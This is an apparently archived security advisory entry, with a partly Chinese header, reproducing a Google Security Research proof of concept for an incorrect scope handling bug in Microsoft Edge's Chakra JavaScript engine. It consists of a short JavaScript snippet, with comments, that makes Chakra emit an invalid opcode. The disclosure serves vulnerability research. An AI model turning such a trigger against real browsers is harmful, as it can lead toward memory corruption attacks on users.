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Microsoft Edge Chakra - Incorrect Scope Handling
来源:Google Security Research 作者:Google 发布时间:2018-01-18  
// PoC:
 
(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {
 
    }
})();
 
// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.
 
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